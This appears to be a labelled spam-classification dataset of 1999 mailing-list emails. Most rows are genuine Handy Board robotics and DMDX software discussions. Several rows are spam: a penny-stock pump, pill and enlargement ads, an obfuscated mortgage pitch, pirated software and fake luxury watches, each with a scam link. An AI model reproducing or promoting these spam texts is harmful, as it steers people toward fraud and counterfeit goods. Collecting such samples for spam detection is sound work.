+---------------------------------------------------------+ I went straight from shenanigans to crimes against humanity -- George Carlin",0,1 Barry Brouillette ,handyboard@media.mit.edu,"Tue, 23 Nov 1999 17:24:31 +0000",Re: Flame sensors?,"Hi, We had very good luck in last years Trinity College contest with some cheap IR Photo transistors. We got some DIGI-KEY QSD422QT-ND photo transistors and found they gave us very good discrimination even at 4 feet away (which was the maximum range we cared about). These units are almost black. We tried some of the clear Radio Shack photo transistors but they got spoofed by variations in room lighting. We set up an array of 5 of these on top of the robot looking at different angles and they worked great. Barry In lugnet.robotics.handyboard, handyboard@media.mit.edu (Greg Starr) writes: >I would like to do a fire-fighting competition next semester in our LEGO >class (like Trinity college, though much smaller scale). What kind of >sensors are useful with the Handy Board for detecting flames? > >Thanks. > > --greg > >***************************************************************** >* Greg Starr, Professor * >* Department of Mechanical Engineering ph (505) 272-7156 * >* University of New Mexico, Albuquerque NM 87131 FAX 277-7152 * >* email- starr@unm.edu WWW- http://www.me.unm.edu/~starr/ * >***************************************************************** ",0,1 Charlotte ,handyboard@media.mit.edu,"Tue, 15 Oct 1996 10:32:21 -0600",save up to 70% on the meds you need Edward," What we are referring to of course is the wonderful ""blue pill"" for erection difficulties everyone is talking about. We not only carry it, but we do at 1.56 cents each. Take a peek at: http://remainderrnxgf3e3enwe19rkwr92w99r.corseletgh.com/ Enjoy! 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So the problem is not with the COM port, must be something else. When I switch the handyboard on I see squares on the first line of the LCD. Thanks Kalyan -----Original Message----- From: Nick Taylor [mailto:ntaylor@iname.com] Sent: Monday, November 22, 1999 5:51 PM To: Kalyan.Mulampaka@geis.ge.com Subject: Re: HandyBoard not responding Kalyan, It looks to me like you've found your problem ... but unistalling the software that uses the com port may NOT fix the problem. You may need an expert to dig into the registry to find the problem. Once I have the Windows CE Server installed, the problem remains until I reformat the hard drive ... unistalling doesn't release its hook on the com port. Good luck, - Nick - ""Mulampaka, Kalyan (GEIS, ASI)"" wrote: > > Yes ,last week I installed other software which used com port , but I > unstalled that software later. > I will try disabling and then enabling the com port. > Thanks > Kalyan > > -----Original Message----- > From: Nick Taylor [mailto:ntaylor@iname.com] > Sent: Monday, November 22, 1999 11:36 AM > To: handyboard@media.mit.edu > Subject: Re: HandyBoard not responding > > Kalyan, > > During the two weeks that you didn't use your HB did you install any > software that uses _any_ serial port? When I installed Windows CE > Services it interfered with serial I/O. To talk to other serial > devices on com1 it's necessary to disable and then enable the com > port. > > - Nick - > > ""Fred G. Martin"" wrote: > > > > it sounds like it's a problem with your downloader configurations -- > > neither of them can open the COM port. > > > > were you able to connect ""Direct to COM1"" with HyperTerminal when > > doing the Windows Serial Debug? it's odd that that would work and > > then the downloaders couldn't open your com ports. > > > > fred > > > > In your message you said: > > > Hi, > > > I left the HandyBoard without power for 2 weeks ,and now I am not able > to > > > download anything to it. > > > When I try using HBDL.exe to download pcode_hb.s19 I get the errror > ""Wrong > > > port or Board mode."". > > > I am using the 12VDC adapter connected directly to the HandyBoard. > > > If I try to download the Java VM (Simple RTJ) I get ""Unable to open > COM1"". > > > I tested the charger board, serial line and the RJ11 cable using the > > > ""Windows Serial Debug test"" and they are working fine. > > > > > > Please help. > > > Thanks in advance > > > Kalyan > > > > > > Kalyan Mulampaka > > > Software Engineer > > > e Information Services > > > ___________________________ > > > Ph#: (770) 698 4436 (O) > > > (678) 320 0783 (R) > > > ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 24 Nov 1999 15:22:09 +0000",Re: HandyBoard not responding,"Kalyan, The gray squares on the LCD simply mean that the HB doesn't have its pcode program loaded. So it doesn't indicate a hardware failure. With Window 2K, were you able to open ""Direct to COM1"" using HyperTerminal? If no, this definitely indicates a configuration problem with the serial port. Fred In your message you said: > Hi, > I tried to download the pcode under Windows 2000 , but I got the same error. > So the problem is not with the COM port, must be something else. > When I switch the handyboard on I see squares on the first line of the LCD. > > Thanks > Kalyan > > -----Original Message----- > From: Nick Taylor [mailto:ntaylor@iname.com] > Sent: Monday, November 22, 1999 5:51 PM > To: Kalyan.Mulampaka@geis.ge.com > Subject: Re: HandyBoard not responding > > > Kalyan, > > It looks to me like you've found your problem ... but unistalling the > software that uses the com port may NOT fix the problem. You may need > an expert to dig into the registry to find the problem. Once I have > the Windows CE Server installed, the problem remains until I reformat > the hard drive ... unistalling doesn't release its hook on the com port. > > Good luck, > - Nick - > > ""Mulampaka, Kalyan (GEIS, ASI)"" wrote: > > > > Yes ,last week I installed other software which used com port , but I > > unstalled that software later. > > I will try disabling and then enabling the com port. > > Thanks > > Kalyan > > > > -----Original Message----- > > From: Nick Taylor [mailto:ntaylor@iname.com] > > Sent: Monday, November 22, 1999 11:36 AM > > To: handyboard@media.mit.edu > > Subject: Re: HandyBoard not responding > > > > Kalyan, > > > > During the two weeks that you didn't use your HB did you install any > > software that uses _any_ serial port? When I installed Windows CE > > Services it interfered with serial I/O. To talk to other serial > > devices on com1 it's necessary to disable and then enable the com > > port. > > > > - Nick - > > > > ""Fred G. Martin"" wrote: > > > > > > it sounds like it's a problem with your downloader configurations -- > > > neither of them can open the COM port. > > > > > > were you able to connect ""Direct to COM1"" with HyperTerminal when > > > doing the Windows Serial Debug? it's odd that that would work and > > > then the downloaders couldn't open your com ports. > > > > > > fred > > > > > > In your message you said: > > > > Hi, > > > > I left the HandyBoard without power for 2 weeks ,and now I am not > able > > to > > > > download anything to it. > > > > When I try using HBDL.exe to download pcode_hb.s19 I get the errror > > ""Wrong > > > > port or Board mode."". > > > > I am using the 12VDC adapter connected directly to the HandyBoard. > > > > If I try to download the Java VM (Simple RTJ) I get ""Unable to open > > COM1"". > > > > I tested the charger board, serial line and the RJ11 cable using the > > > > ""Windows Serial Debug test"" and they are working fine. > > > > > > > > Please help. > > > > Thanks in advance > > > > Kalyan > > > > > > > > Kalyan Mulampaka > > > > Software Engineer > > > > e Information Services > > > > ___________________________ > > > > Ph#: (770) 698 4436 (O) > > > > (678) 320 0783 (R) > > > > > ",0,0 James Munro ,Handyboard ,"Wed, 24 Nov 1999 09:38:51 -0600",IR unit,"I'm curious if there is any difficulty using the IS1U621/IS1U621L in place of the IS1U60. I notice they recommend an additional cap on the leads and I'm wondering if this is any problem? Regards, Jim Munro",0,0 James Munro ,Kam K Leang ,"Wed, 24 Nov 1999 12:19:27 -0600",Re: IR Sensors,"> Did you get a reply from your post at SRS? I've never used those sensors Didn't I post that to the handyboard list? I don't remember sending to the SRS. For some reason, I get alot of ""user-not-found"" error messages when I send an email to the handyboard mailing list. Do I have the old address? I was using handyboard@media. mit.edu. -Jim ",0,0 lzciad tkpcbp ,"handyboard@media.mit.edu, keisha@media.mit.edu, janelle@media.mit.edu, aaron@media.mit.edu","Wed, 24 Nov 1999 16:10:17 +0100",Forward-Thinking Investors [BREAKING NEWS NEW PICK MONDAY it is] McCracken baneberry crossway intersected,"Apparel Manufacturing Associates, Inc. (APPM.PK) Symbol : APPM Current Price : $ 0.21 Short Term Projected : $ 0.85 Watch this one, huge PR campaign underway, plus strong potential. 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But ",1,1 Gary Livick ,Chuck McManis ,"Wed, 24 Nov 1999 15:15:58 -0800",Re: Video Transmitters,"I received the X-10 cam I ordered two days ago. It arrived right on time, and is pretty impressive for less than $100 including California sales tax. Plus they sent me this gizmo that you plug into the back of your computer, with a couple of remotes, that let you control 115v outtlets in your house from your IBM knockoff. That was either free, or a mistake, because I didn't order it and even though it was on the packing list I wasn't charged for it. I plugged the cam in to test it, and have been making my secretary very nervous. The image is not first rate, but quite useable for playing around with. Next, I'll try connecting to the 12v DC battery on my robot and see how it looks with him packing it around. Gary Livick Chuck McManis wrote: > At 05:44 PM 11/14/99 -0500, William Young wrote: > >NetMarket (www.netmarket.com) carries a transmit/receive pair made > >by Recoton. It's intended to transmit audio/video around the house. > >Ours includes a gizmo to extend your remote control capabilities, and > >it cost about $120. Just the transmitter/receiver pair can be had for > >under $100, I believe. > > And the X-10 color camera is going for $99 (actually its $88 today) and it > also includes a xmit/recieve pair that I found runs nicely off batteries. > The color camera is the cool bit since it is the ""lipstick"" type and light > enough to put on an end effector. > > --Chuck > > See www.x-10.com for details. ",0,0 Michael Miranda ,"handyboard@media.mit.edu, M M , ant randolph , anthony randolph , ""TCC."" ","Thu, 25 Nov 1999 01:47:17 -0800",robot project,"Hi, I�m trying to get a robot to turn a face the owner using rf. I have one transmitter (that the owner will wear) and three receivers (set up in a triangle). We want to use the transmitter as a beacon. Then whichever receiver gets the signal first, that�s where the owner is and where we want to turn to. We can transmit to the receivers, but we can�t see which receiver is getting the signal first. I am trying to look at the falling edge of one pulse. In my program any receiver with a high signal will set its time variable to i (counter). And the last time its high corresponds to the falling edge. The problem seems to be the time of the loop is too slow and with in one loop all the signals change (at the same time). What I would like to do is speed up the loop, if that is possible. Can anyone help, is my thinking wrong? Here, is my code: float i, ta, tb, tc; void main(void) { ta=0.; tb=0.; tc=0.; i=0.; while (i<200.) { if (digital(11)==1) tb=i; if (digital(12)==1) ta=i; if (digital(13)==1) tc=i; i++; } printf(""A%d B%d \\rC%d\\n"",ta,tb,tc); } Mike __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com",0,1 Nick Taylor ,handyboard@media.mit.edu,"Thu, 25 Nov 1999 10:20:39 +0000",Re: robot project,"Mike, Don't think it's going to work. 186,000 miles per second is almost 1,000,000,000 feet per second ... so if your receiver antennas are 12 inches apart the time difference of the received pulse will be 0.001 microseconds maximum ... way too short to measure with your HandyBoard. You might give ultrasonics a try. Good luck and have fun, - Nick - Michael Miranda wrote: > > Hi, > > I’m trying to get a robot to turn a face the owner > using rf. I have one transmitter (that the owner will > wear) and three receivers (set up in a triangle). We > want to use the transmitter as a beacon. Then > whichever receiver gets the signal first, that’s where > the owner is and where we want to turn to. We can > transmit to the receivers, but we can’t see which > receiver is getting the signal first. I am trying to > look at the falling edge of one pulse. In my program > any receiver with a high signal will set its time > variable to i (counter). And the last time its high > corresponds to the falling edge. The problem seems to > be the time of the loop is too slow and with in one > loop all the signals change (at the same time). What > I would like to do is speed up the loop, if that is > possible. Can anyone help, is my thinking wrong? > Here, is my code: > > float i, ta, tb, tc; > void main(void) > { > ta=0.; > tb=0.; > tc=0.; > i=0.; > while (i<200.) > { > if (digital(11)==1) > tb=i; > if (digital(12)==1) > ta=i; > if (digital(13)==1) > tc=i; > i++; > } > printf(""A%d B%d \\rC%d\\n"",ta,tb,tc); > } > > Mike > > __________________________________________________ > Do You Yahoo!? > Thousands of Stores. Millions of Products. All in one place. > Yahoo! Shopping: http://shopping.yahoo.com",0,1 Darwin Sain ,DMDX@psy1.psych.arizona.edu,"Thu, 25 Nov 1999 00:15:52 -0700",Re: biwiq news,"Dea d r Home Ow r ne m r , Your c p red p it doesn't matter to us ! If you OW g N real e r st y at z e and want I c MME t DIA y TE ca t sh to sp x en v d ANY way you like, or simply wish to L t OWER your monthly p v aym h ents by a third or more, here are the d r eals we have T w OD p AY : $ 4 l 88 , 000 at a 3 , 6 e 7% fi l xed - ra q te $ 37 v 2 , 000 at a 3 , 9 s 0% va v riab y le - ra w te $ 49 u 2 , 000 at a 3 , r 21% inte o re k st - only $ 2 l 48 , 000 at a 3 , 3 q 6% f u ixed - rat x e $ 19 z 8 , 000 at a 3 , 5 x 5% var o iable - rat u e Hur m ry, when these de m aIs are gone, they are gone ! Don't worry about a o pprova x l, your c p redi d t will not di r squalif z y you ! Vi y si t t our si g te Sincerely, Darwin Sain A q ppr v oval Manager",1,1 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 25 Nov 1999 09:22:27 -0500",Re: robot project,"In a message dated 11/25/1999 3:52:34 AM Central Standard Time, mikmiranda@yahoo.com writes: > Then > whichever receiver gets the signal first, that�s where > the owner is and where we want to turn to. Michael: You will not get your program to outrun light. The rf signal is moving at 300,000,000 m/s. If you divide the space between your antennas by 300,000,000 you will get the time difference for the rf arrival time. I believe you will find that time to be much smaller than a single machine cycle. You might be able to use this trick with a sound wave and assembler programming, but not rf. If you want to find a radio source, I recommend ""Transmitter Hunting"" published by the ARRL. They might have it in your local library; they are most likely to have The ARRL Handbook which will have a section on directional antennas. You could probably build a ""Loop with sense"" type antenna that you would mount on a turning servo. You sample the signal strength at different directions and pick the strongest (weakest depending on the antenna). Finding the ""Null"" direction usually gives a sharper position than finding the ""Peak."" Good Luck, Pherd ",0,0 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Thu, 25 Nov 1999 17:54:47 +0000",[DMDX] Re: DMDX Documentation,"I've been using DMDX for over a year now and am really pleased with how it works. Compared to any other system that I've used for running experiments DMDX wins hands down in terms of ease of use, flexibility and reliability. However, from experience of teaching beginners to use DMDX, the one part of DMDX that is in need of improvement is the documentation. Although introductory tutorials are extremely valuable, sooner or later, most of us have to go beyond a standard 'recipe' and figure out what the keywords mean so that we can set up an unusual experiment. Unfortunately, in this respect, some of the help pages are lacking in the sort of detail that would be useful on a day to day basis. What would help would be some informal method so that users can contribute to the documentation. This would help extend the help pages provided with the software and allow users to communicate their expertise to beginners more easily. In particular seeing a short piece of script with a switch or keyword used in context would be extremely useful and would help users to understand how to solve problems that come up time and time again. What I propose is that a www site be set-up that includes an html version of the current help pages. These www pages could include a section at the bottom of each page with a simple form for users to submit their own additions to the documentation. That way, when the time comes to update the documentation, there would be (hopefully) be some suggestions from users about things they found confusing about each of the help pages - and some suggestions for improvements based on frequently asked questions. This could also help provide suggestions for ways in which the documentation and software be improved subsequently. I hope that people are keen to contribute to this project and that Ken and Jonathan would be able to help out, either by hosting the project at U. Arizona, or if this is problematic, by providing html versions of the documentation so that we could set up this web site here in Cambridge. Comments and suggestions would be welcomed. Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#621) Fax: 01223 359 062 **************************************************** ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Thu, 25 Nov 1999 14:20:52 -0500",[DMDX] response boxes for DMDX,"I am looking for information on vendors of response boxes that will work with the PIO 12 and computerboards equivalent. I will also be using the PIO 12 to sync DMDX with Neuroscan Synamps, so the response box will have to allow me access to some of the other pinouts on the PIO 12 as well. Any information would be greatly appreciated. regards, John Kline _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Thu, 25 Nov 1999 17:59:34 +0000",Re: HandyBoard Charging,"Danny, Glad you've got it working! Gleason Research is a good company to do business with, isn't it? Good luck and have fun with your HB, - Nick - Danny Gratton wrote: > > Nick, > > Sorry the long wait, the problem was in the hardware. I contacted Gleason Research were we purchased the board and they send a replacement at no cost which we received today and everything works fine. > > >>> Nick Taylor 11/18/99 10:37AM >>> > Danny, > > Did you find the source of your charging problem? Please let us know > what was wrong ... that's how we all learn. > > - Nick -",0,0 Kalyan Mulampaka ,handyboard@media.mit.edu,"Thu, 25 Nov 1999 19:10:04 +0000",Re: HandyBoard not responding,"Hi, Finally I found out what happened. One of the pins of the RJ-11 socket on the handyboard was disconnected from the PCB. So I soldered it back and the handyboard is working fine. Thanks for all your help. Kalyan In lugnet.robotics.handyboard, Fred G. Martin writes: >Kalyan, > >The gray squares on the LCD simply mean that the HB doesn't have its >pcode program loaded. So it doesn't indicate a hardware failure. > >With Window 2K, were you able to open ""Direct to COM1"" using >HyperTerminal? If no, this definitely indicates a configuration >problem with the serial port. > >Fred > >In your message you said: >> Hi, >> I tried to download the pcode under Windows 2000 , but I got the same error. >> So the problem is not with the COM port, must be something else. >> When I switch the handyboard on I see squares on the first line of the LCD. >> >> Thanks >> Kalyan >> >> -----Original Message----- >> From: Nick Taylor [mailto:ntaylor@iname.com] >> Sent: Monday, November 22, 1999 5:51 PM >> To: Kalyan.Mulampaka@geis.ge.com >> Subject: Re: HandyBoard not responding >> >> >> Kalyan, >> >> It looks to me like you've found your problem ... but unistalling the >> software that uses the com port may NOT fix the problem. You may need >> an expert to dig into the registry to find the problem. Once I have >> the Windows CE Server installed, the problem remains until I reformat >> the hard drive ... unistalling doesn't release its hook on the com port. >> >> Good luck, >> - Nick - >> >> ""Mulampaka, Kalyan (GEIS, ASI)"" wrote: >> > >> > Yes ,last week I installed other software which used com port , but I >> > unstalled that software later. >> > I will try disabling and then enabling the com port. >> > Thanks >> > Kalyan >> > >> > -----Original Message----- >> > From: Nick Taylor [mailto:ntaylor@iname.com] >> > Sent: Monday, November 22, 1999 11:36 AM >> > To: handyboard@media.mit.edu >> > Subject: Re: HandyBoard not responding >> > >> > Kalyan, >> > >> > During the two weeks that you didn't use your HB did you install any >> > software that uses _any_ serial port? When I installed Windows CE >> > Services it interfered with serial I/O. To talk to other serial >> > devices on com1 it's necessary to disable and then enable the com >> > port. >> > >> > - Nick - >> > >> > ""Fred G. Martin"" wrote: >> > > >> > > it sounds like it's a problem with your downloader configurations -- >> > > neither of them can open the COM port. >> > > >> > > were you able to connect ""Direct to COM1"" with HyperTerminal when >> > > doing the Windows Serial Debug? it's odd that that would work and >> > > then the downloaders couldn't open your com ports. >> > > >> > > fred >> > > >> > > In your message you said: >> > > > Hi, >> > > > I left the HandyBoard without power for 2 weeks ,and now I am not >> able >> > to >> > > > download anything to it. >> > > > When I try using HBDL.exe to download pcode_hb.s19 I get the errror >> > ""Wrong >> > > > port or Board mode."". >> > > > I am using the 12VDC adapter connected directly to the HandyBoard. >> > > > If I try to download the Java VM (Simple RTJ) I get ""Unable to open >> > COM1"". >> > > > I tested the charger board, serial line and the RJ11 cable using the >> > > > ""Windows Serial Debug test"" and they are working fine. >> > > > >> > > > Please help. >> > > > Thanks in advance >> > > > Kalyan >> > > > >> > > > Kalyan Mulampaka >> > > > Software Engineer >> > > > e Information Services >> > > > ___________________________ >> > > > Ph#: (770) 698 4436 (O) >> > > > (678) 320 0783 (R) >> > > > >> ",0,0 raj k ,handyboard@media.mit.edu,"Thu, 25 Nov 1999 11:42:43 -0800",motor driver circuit -- help needed,"Hi , I am trying to drive two DC motors of 12v, 2A rating for my robot base. I am looking for the ready-made motor drivers for this. Please sujust me if you guys have any products known. i found one in the web , help me in deciding whether this is suitable for my motor ratings. L298 Motor Driver Kit: This motor driver kit simplifies the interface between motor and micro. Controls 2 DC motors (up to 2 Amps each @46V , continuous duty -surges up to 3 A each) forward, reverse and stop (brake) using 4 control lines. The kit includes the L298 chip and comes with complete instructions. Operating Voltages up to 46 V Total DC current up to 4 A Overtemperature Protection Large heatsink tab TTL Drive Levels (0, +5 V) Completely isolates micro from motors Only 2.75 "" x 1.5"" in size any sujestions are welcome. Thank you for your time, Robo __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com ",0,1 Bocquet777@aol.com,"robo_helpmate@yahoo.com, handyboard@media.mit.edu","Thu, 25 Nov 1999 15:07:33 -0500",Re: motor driver circuit -- help needed,"Hi, my name is nicolas and I'm a french student in an engineering school at LYON. I make a PCB with the L298N for the handy board. You must remove the L293D that you use for the motor 0 and 1. You put a connector in the socket 16 pin and this connector help the data going into the L298N. The PCB I build is 6cm*10cm but I think I can do a smaller one maybe. I can send you the PCB if you want or explain you how you can use the L298N with your handyboard. If you need more current (4 A contiguous instead of 2 A) you can use one L298N for controlling just one motor. You put the 2 H-Bridges in parrallel. kinds regards, Nicolas. ECAM at LYON (http://www.ecam.fr)",0,1 Michael Johnston ,DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 09:10:42 +1100",[DMDX] Re: DMDX Documentation,"Like Matt I am very grateful for DMDX. As a Research Fellow with a very small budget, I cannot afford expensive software, or programmers' time. DMDX makes it possible for me to pursue lines of experimentation that I probably could not otherwise pursue. I like Matt's suggestion of a documentation website- I would contribute to it, and would also be happy to contribute to the task of compiling information from it. Michael Johnston >I've been using DMDX for over a year now and am really pleased with how it >works. Compared to any other system that I've used for running experiments >DMDX wins hands down in terms of ease of use, flexibility and reliability. > >However, from experience of teaching beginners to use DMDX, the one part >of DMDX that is in need of improvement is the documentation. Although >introductory tutorials are extremely valuable, sooner or later, most of us >have to go beyond a standard 'recipe' and figure out what the keywords mean >so that we can set up an >unusual experiment. > >Unfortunately, in this respect, some of the help pages are lacking in the >sort of detail that would be useful on a day to day basis. What would help >would be some informal method so that users can contribute to the >documentation. This would help extend the help pages provided with the >software and allow users to communicate their expertise to beginners more >easily. In particular seeing a short piece of script with a switch or >keyword used in context would be extremely useful and would help users to >understand how to solve problems that come up time and time again. > >What I propose is that a www site be set-up that includes an html version >of the current help pages. These www pages could include a section at the >bottom of each page with a simple form for users to submit their own >additions to the documentation. That way, when the time comes to update the >documentation, there would be (hopefully) be some suggestions from users >about things they found confusing about each of the help pages - and some >suggestions for improvements based on frequently asked questions. This >could also help provide suggestions for ways in which the documentation and >software be improved subsequently. > >I hope that people are keen to contribute to this project and that Ken and >Jonathan would be able to help out, either by hosting the project at U. >Arizona, or if this is problematic, by providing html versions of the >documentation so that we could set up this web site here in Cambridge. > >Comments and suggestions would be welcomed. > >Matt ------------------------------- Dr Michael Johnston School of Psychological Science La Trobe University Bundoora VIC 3083 Australia Phone: +61 3 9479 1736 Fax: +61 3 9479 1956 Web Address: http://www.psy.latrobe.edu.au/Staff/johnstnm.htm ",0,1 """Quirks T. Catalpas"" ",Bait ,"Fri, 26 Nov 1999 01:37:01 -0400",Software,"75% Off for All New Software. microsoft, adobe, macromedia! some software u need! New software on our site: Office XP Professional - $79.95 Office 2000 Premium Edition PE (2CD) - $59.95 PhotoRetouch Pro 3.0 - $59.95 Streets and Trips 2004 North America (2CD) - $69.95 Borland Delphi 7 Enterprise Edition (2CD) - $69.95 Illustrator CS CE - $69.95 Illustrator CS CE - $69.95 Studio MX 2004 with Director MX 2004 - $139.95 Photoshop CS with ImageReady CS - $99.95 Quark Xpress 6 Passport Multilanguage - $69.95 Actobat 6.0 Pro - $79.95 PhotoRetouch Pro 3.0 - $59.95 Painter 8 - $59.95 SQL Server 2000 Enterprise Edition - $69.95 Our site: http://6suzujbicetj76ojboojbo6o.joannebm.com/ ",1,1 Matthew Chung ,DMDX@psy1.psych.arizona.edu,"Thu, 26 Nov 1998 15:03:11 +0800",[DMDX] Re: DMDX Documentation,"My echo to Matt and Michael suggestion is strong, being a technician in Psychology Dept, CUHK, We rely on the precision and accracy of DMDX. I would like to have my contribution on establishing such an Web site (if Ken and Jonathan think it is appropiated) ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 09:12:49 -0700",[DMDX] Re: response boxes for DMDX,"At 02:20 PM 11/25/99 -0500, you wrote: >I am looking for information on vendors of response boxes that will work >with the PIO 12 and computerboards equivalent. I will also be using the >PIO 12 to sync DMDX with Neuroscan Synamps, so the response box will have >to allow me access to some of the other pinouts on the PIO 12 as well. > >Any information would be greatly appreciated. Nobody makes response boxes on a commercial basis, you will have to find a technician. Not that they're difficult to make, far from it, they're the easiest of electronics to manufacture. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pohl's law: Nothing is so good that somebody, somewhere, will not hate it. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 09:31:12 -0700",[DMDX] Re: DMDX Documentation,"At 09:10 AM 11/26/99 +1100, you wrote: >probably could not otherwise pursue. I like Matt's suggestion of a >documentation website- I would contribute to it, and would also be happy to >contribute to the task of compiling information from it. Hosting a website is no particular problem, I can provide an account and a password. You would be responsible for keeping backups yourself however, psy1 is not backed up. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pohl's law: Nothing is so good that somebody, somewhere, will not hate it. ",0,0 Danny Gratton ,handyboard@media.mit.edu,"Fri, 26 Nov 1999 15:14:45 +0000",IC 3.X and Smooth PWM,"Does IC 3.X support smooth PWM? ",0,0 Hollis J Weidenbacher ,DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 11:02:02 -0700",[DMDX],"On Fri, 26 Nov 1999, j.c.f. wrote: > At 02:20 PM 11/25/99 -0500, you wrote: > >I am looking for information on vendors of response boxes that will work > >with the PIO 12 and computerboards equivalent. I will also be using the > >PIO 12 to sync DMDX with Neuroscan Synamps, so the response box will have > >to allow me access to some of the other pinouts on the PIO 12 as well. > > > >Any information would be greatly appreciated. > > Nobody makes response boxes on a commercial basis, you will have to find > a technician. Not that they're difficult to make, far from it, they're the > easiest of electronics to manufacture. > > -jonathan (j.c.f.) Actually, I'm pretty sure Cedrus does make them (www.cedrus.com). I couldn't say if it's a good deal or not. Hollis Weidenbacher ",0,0 Gary Livick ,Danny Gratton ,"Fri, 26 Nov 1999 09:59:03 -0800",Re: IC 3.X and Smooth PWM,"Yes it does. Look in the Handy_Board_1.2.icd file that came on your 3.x disc. That file specifies the .s19 pcode file to load and any other files to be loaded at startup of IC 3.x. You can either change those to some special name you have created for your smooth PWM pcode and library files that you got off the Handy Board site, or you can just move the old files to some other place on your HD and replace them in the IC file with the ones off the site. Please keep in mind that there *may* be some variation between the way the old and new libraries work. I haven't found any problems like this on the Handy Board, but I know when you use the Rug Warrior libraries that come with version 3.2 of the IC package, the motor functions use floating point variables for the velocity input, eg: motor (0,50.); instead of the int variable in the latest version of the freeware. A comparison between the two libraries is probably in order if you have some difficulty with programs that used to run, but don't with the smooth PWM library. Gary Livick Danny Gratton wrote: > Does IC 3.X support smooth PWM? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 13:13:38 -0700",[DMDX] Re: ,"At 11:02 AM 11/26/99 -0700, you wrote: >Actually, I'm pretty sure Cedrus does make them (www.cedrus.com). I >couldn't say if it's a good deal or not. Hmm, the standard models won't work with DMDX but they may be amenable to building custom boxes, that design your own response box is promising -- however what DMDX wants is anything but ""smart"". -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pohl's law: Nothing is so good that somebody, somewhere, will not hate it. ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 15:58:40 -0500",[DMDX] Re: ,"How have people fared with standard joy sticks and game pads? Any recommendations here? I imagine that a button box is very easy to build, especially if it is simply passive circuitry (i.e. a button switch to transiently close a circuit). If need be, I'll just go to Radio Shack and get the parts to make my own, but I've been hoping to save the time. cheers, JK At 01:13 PM 11/26/99 -0700, j.c.f. wrote: >At 11:02 AM 11/26/99 -0700, you wrote: > >>Actually, I'm pretty sure Cedrus does make them (www.cedrus.com). I >>couldn't say if it's a good deal or not. > > Hmm, the standard models won't work with DMDX but they may be amenable to >building custom boxes, that design your own response box is promising -- >however what DMDX wants is anything but ""smart"". > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Pohl's law: > Nothing is so good that somebody, somewhere, will not hate it. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 Hollis J Weidenbacher ,DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 14:23:31 -0700",[DMDX],"On Fri, 26 Nov 1999, j.c.f. wrote: > At 11:02 AM 11/26/99 -0700, you wrote: > > >Actually, I'm pretty sure Cedrus does make them (www.cedrus.com). I > >couldn't say if it's a good deal or not. > > Hmm, the standard models won't work with DMDX but they may be amenable to > building custom boxes, that design your own response box is promising -- > however what DMDX wants is anything but ""smart"". > > -jonathan (j.c.f.) > Just out of curiousity I checked, PST (www.pstnet.com) also seems to make one. I have no idea if it's usable with DMDX (seems to be made for the evil MEL and their new product -looks like they're finally putting MEL out of it's misery...). Hollis Weidenbacher ",0,0 raj k ,handyboard@media.mit.edu,"Fri, 26 Nov 1999 13:55:51 -0800",alphanumeric plasma display,"Hi, I got one alphanumeric plasma display 40 char X 8 lines made by industrial electronics engineers from a surplus store for $7.50. But i didn't have any litarature about this product. I tried to search for their web site but no luck. If any one have any information please let me know. I want to run this display with HB. Thank you Robo __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com ",0,1 Carlton ,Metthew ,"Sat, 27 Nov 1999 02:03:01 +0900",gotta a sec,"It's time to end the sadness of the diameter of ur unit. It's here www.stateforustoseee.com/fx6/. It jsut simply get realer than this. are the one actually negative effects fragments of out real life. Seinfeld gathers the nothingness Carlton. ",1,0 Robert French ,Millie ,,Re [14]," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. Lange & Sohne :: Audemars Piguet :: Jaeger-Lecoultre :: IWC :: Officine Panerai Breitling :: Omega :: Tag Heuer Exapmle: ROLEX Full 18K Gold Daytona for MEN - only $269! - Fast delivery - The lowest prices in the world - Worldwide shipping Visit our shop at: http://tmac130.buttonsewme.com ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 17:55:28 